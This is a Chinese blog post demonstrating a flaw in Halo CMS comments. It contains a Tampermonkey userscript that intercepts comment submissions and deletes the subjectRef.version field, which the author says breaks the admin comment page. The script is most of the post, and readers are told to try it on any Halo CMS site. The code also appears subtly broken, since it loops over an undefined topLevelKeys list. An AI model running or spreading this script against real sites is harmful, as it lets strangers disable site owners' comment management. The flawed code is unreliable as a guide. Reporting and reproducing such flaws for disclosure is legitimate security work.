一个脚本让 Halo CMS 评论后台瘫痪

前言

冲浪的时候看到 Issue #7890 · halo-dev/halo,我想这个 Issue 是 2025 年 11 月 1 日提的,现在都 2026 年 1 月 4 日了,应该修了吧。

验证

AI 辅助下快速写出了下面的油猴脚本进行验证:

点击展开详细信息
// ==UserScript==
// @name         Modify Halo comment payload
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove spec.subjectRef.version
// @match        *://*/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function () {
    'use strict';
    console.log('[modify_halo_comment] script started');
    const targetPath = '/apis/api.halo.run/v1alpha1/comments';

    const REMOVE = {
        paths: [
            'subjectRef.version',
        ]
    };

    function deletePath(obj, dottedPath) {
        if (!obj || typeof obj !== 'object') return false;
        const parts = String(dottedPath).split('.').filter(Boolean);
        if (parts.length === 0) return false;

        let current = obj;
        for (let i = 0; i < parts.length - 1; i++) {
            const key = parts[i];
            if (!current || typeof current !== 'object') return false;
            current = current[key];
        }
        if (!current || typeof current !== 'object') return false;
        const lastKey = parts[parts.length - 1];
        if (lastKey in current) {
            delete current[lastKey];
            return true;
        }
        return false;
    }

    function stripFields(obj) {
        let modified = false;

        if (obj && typeof obj === 'object') {
            for (const key of REMOVE.topLevelKeys) {
                if (key in obj) {
                    delete obj[key];
                    modified = true;
                }
            }
            for (const path of REMOVE.paths) {
                if (deletePath(obj, path)) modified = true;
            }
        }

        return modified;
    }

    // --- patch fetch ---
    const _fetch = window.fetch;
    window.fetch = async function (input, init) {
        try {
            const req = (input instanceof Request) ? input : null;
            const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
            let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
            let method = (init && init.method) || (req && req.method) || 'GET';

            if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
                console.log('[modify_halo_comment] intercept', { url, method });
                const serializeBody = async (body) => {
                    if (typeof body === 'string') return body;
                    if (body instanceof Blob) return await body.text();
                    if (body instanceof FormData) return null;
                    if (body && typeof body === 'object') {
                        try { return JSON.stringify(body); } catch (e) { }
                    }
                    return null;
                };

                const tryModify = (rawBody) => {
                    if (!rawBody) return null;
                    try {
                        const obj = JSON.parse(rawBody);
                        const changed = stripFields(obj);
                        if (changed) {
                            const out = JSON.stringify(obj);
                            console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
                            return out;
                        }
                        console.log('[modify_halo_comment] no fields matched; not modified');
                    } catch (e) { }
                    return null;
                };

                if (init && 'body' in init && init.body != null) {
                    const serialized = await serializeBody(init.body);
                    console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
                    const modified = tryModify(serialized);
                    if (modified) {
                        init = Object.assign({}, init, { body: modified });
                        console.log('[modify_halo_comment] removed configured fields (fetch init)');
                    }
                } else if (req) {
                    const cloned = req.clone();
                    const text = await cloned.text();
                    const modified = tryModify(text);
                    if (modified) {
                        const reqInit = {
                            method: req.method,
                            headers: req.headers,
                            body: modified,
                            referrer: req.referrer,
                            referrerPolicy: req.referrerPolicy,
                            mode: req.mode,
                            credentials: req.credentials,
                            cache: req.cache,
                            redirect: req.redirect,
                            integrity: req.integrity,
                            keepalive: req.keepalive,
                            signal: req.signal
                        };
                        input = new Request(req.url, reqInit);
                        console.log('[modify_halo_comment] removed configured fields (fetch Request)');
                    }
                }
            }
        } catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
        return _fetch.call(this, input, init);
    };
})();

加载脚本后,找到任意 Halo CMS 站点,进行评论。发送评论后,后台就打不开评论页面了,提示服务器内部发生错误。

临时应对

解决方法是下载 Data Studio(数据工厂) 插件删除恶意评论。

补充信息

  • 复现环境:
    • Halo CMS v2.22.4
    • 评论组件 v3.0.0

感谢林间拾语辅助测试。


0
上一篇 2025 年终总结 & 博客两周年